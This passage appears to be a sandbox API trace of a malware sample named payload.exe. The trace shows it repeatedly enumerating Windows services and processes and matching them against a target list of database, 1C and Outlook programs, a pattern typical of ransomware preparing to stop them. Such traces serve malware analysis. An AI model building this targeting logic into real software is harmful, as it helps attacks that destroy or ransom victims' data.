lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0106.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0106.839] lstrlenW (lpString="Spooler") returned 7 [0106.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0106.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0106.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0106.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0106.839] lstrlenW (lpString="SysMain") returned 7 [0106.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0106.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0106.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0106.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0106.839] lstrlenW (lpString="Themes") returned 6 [0106.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0106.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0106.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0106.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0106.839] lstrlenW (lpString="TrkWks") returned 6 [0106.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0106.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0106.839] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0106.840] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0106.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0106.840] lstrlenW (lpString="UxSms") returned 5 [0106.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0106.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0106.840] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0106.840] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0106.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0106.840] lstrlenW (lpString="WdiServiceHost") returned 14 [0106.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0106.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0106.840] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0106.840] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0106.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0106.840] lstrlenW (lpString="WdiSystemHost") returned 13 [0106.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0106.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0106.840] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0106.840] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0106.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0106.840] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0106.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0106.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0106.840] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0106.840] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0106.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0106.840] lstrlenW (lpString="Winmgmt") returned 7 [0106.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0106.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0106.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0106.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0106.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0106.840] lstrlenW (lpString="WPDBusEnum") returned 10 [0106.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0106.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0106.840] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0106.840] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0106.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0106.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0106.840] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0106.842] Process32FirstW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.842] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0106.842] lstrlenW (lpString="System") returned 6 [0106.842] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0106.842] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0106.842] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0106.842] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0106.842] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0106.842] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0106.842] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0106.843] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0106.843] lstrlenW (lpString="smss.exe") returned 8 [0106.843] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0106.843] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.843] lstrlenW (lpString="csrss.exe") returned 9 [0106.843] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0106.843] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0106.843] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0106.843] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0106.843] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0106.843] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0106.843] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0106.844] lstrlenW (lpString="wininit.exe") returned 11 [0106.844] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0106.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0106.844] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0106.844] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0106.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0106.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0106.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0106.844] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.844] lstrlenW (lpString="csrss.exe") returned 9 [0106.844] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0106.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0106.844] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0106.844] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0106.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0106.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0106.844] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0106.844] lstrlenW (lpString="winlogon.exe") returned 12 [0106.844] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0106.845] lstrlenW (lpString="services.exe") returned 12 [0106.845] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0106.845] lstrlenW (lpString="lsass.exe") returned 9 [0106.845] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0106.845] lstrlenW (lpString="lsm.exe") returned 7 [0106.845] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.845] lstrlenW (lpString="svchost.exe") returned 11 [0106.845] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.846] lstrlenW (lpString="svchost.exe") returned 11 [0106.846] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.846] lstrlenW (lpString="svchost.exe") returned 11 [0106.846] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.846] lstrlenW (lpString="svchost.exe") returned 11 [0106.846] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.846] lstrlenW (lpString="svchost.exe") returned 11 [0106.846] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.847] lstrlenW (lpString="audiodg.exe") returned 11 [0106.847] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.847] lstrlenW (lpString="svchost.exe") returned 11 [0106.847] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.847] lstrlenW (lpString="svchost.exe") returned 11 [0106.847] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0106.847] lstrlenW (lpString="userinit.exe") returned 12 [0106.848] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0106.848] lstrlenW (lpString="dwm.exe") returned 7 [0106.848] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0106.848] lstrlenW (lpString="explorer.exe") returned 12 [0106.848] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0106.848] lstrlenW (lpString="spoolsv.exe") returned 11 [0106.848] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0106.848] lstrlenW (lpString="taskhost.exe") returned 12 [0106.849] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.849] lstrlenW (lpString="svchost.exe") returned 11 [0106.849] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0106.849] lstrlenW (lpString="payload.exe") returned 11 [0106.849] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0106.849] lstrlenW (lpString="reader_sl.exe") returned 13 [0106.849] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0106.850] lstrlenW (lpString="taskhost.exe") returned 12 [0106.850] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0106.850] lstrlenW (lpString="dllhost.exe") returned 11 [0106.850] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0106.850] lstrlenW (lpString="consent.exe") returned 11 [0106.850] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0106.850] CloseHandle (hObject=0x38c) returned 1 [0106.850] Sleep (dwMilliseconds=0x1f4) [0107.605] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7238 [0107.605] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0107.605] GetLastError () returned 0xea [0107.605] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0107.605] EnumServicesStatusExW (in: hSCManager=0x3ab7238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0107.606] CloseServiceHandle (hSCObject=0x3ab7238) returned 1 [0107.606] lstrlenW (lpString="Appinfo") returned 7 [0107.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0107.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0107.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0107.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0107.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0107.606] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0107.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.606] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0107.606] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0107.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0107.606] lstrlenW (lpString="AudioSrv") returned 8 [0107.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0107.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0107.606] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0107.606] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0107.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0107.606] lstrlenW (lpString="BFE") returned 3 [0107.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0107.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0107.606] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0107.606] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0107.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0107.606] lstrlenW (lpString="CryptSvc") returned 8 [0107.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0107.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0107.606] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0107.606] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0107.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0107.606] lstrlenW (lpString="CscService") returned 10 [0107.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0107.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0107.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0107.607] lstrlenW (lpString="DcomLaunch") returned 10 [0107.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0107.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0107.607] lstrlenW (lpString="Dhcp") returned 4 [0107.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0107.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0107.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0107.607] lstrlenW (lpString="Dnscache") returned 8 [0107.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0107.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0107.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0107.607] lstrlenW (lpString="DPS") returned 3 [0107.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0107.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0107.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0107.607] lstrlenW (lpString="eventlog") returned 8 [0107.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0107.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0107.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0107.607] lstrlenW (lpString="EventSystem") returned 11 [0107.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0107.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0107.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0107.607] lstrlenW (lpString="gpsvc") returned 5 [0107.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0107.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0107.607] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0107.607] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0107.608] lstrlenW (lpString="iphlpsvc") returned 8 [0107.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.608] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0107.608] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0107.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 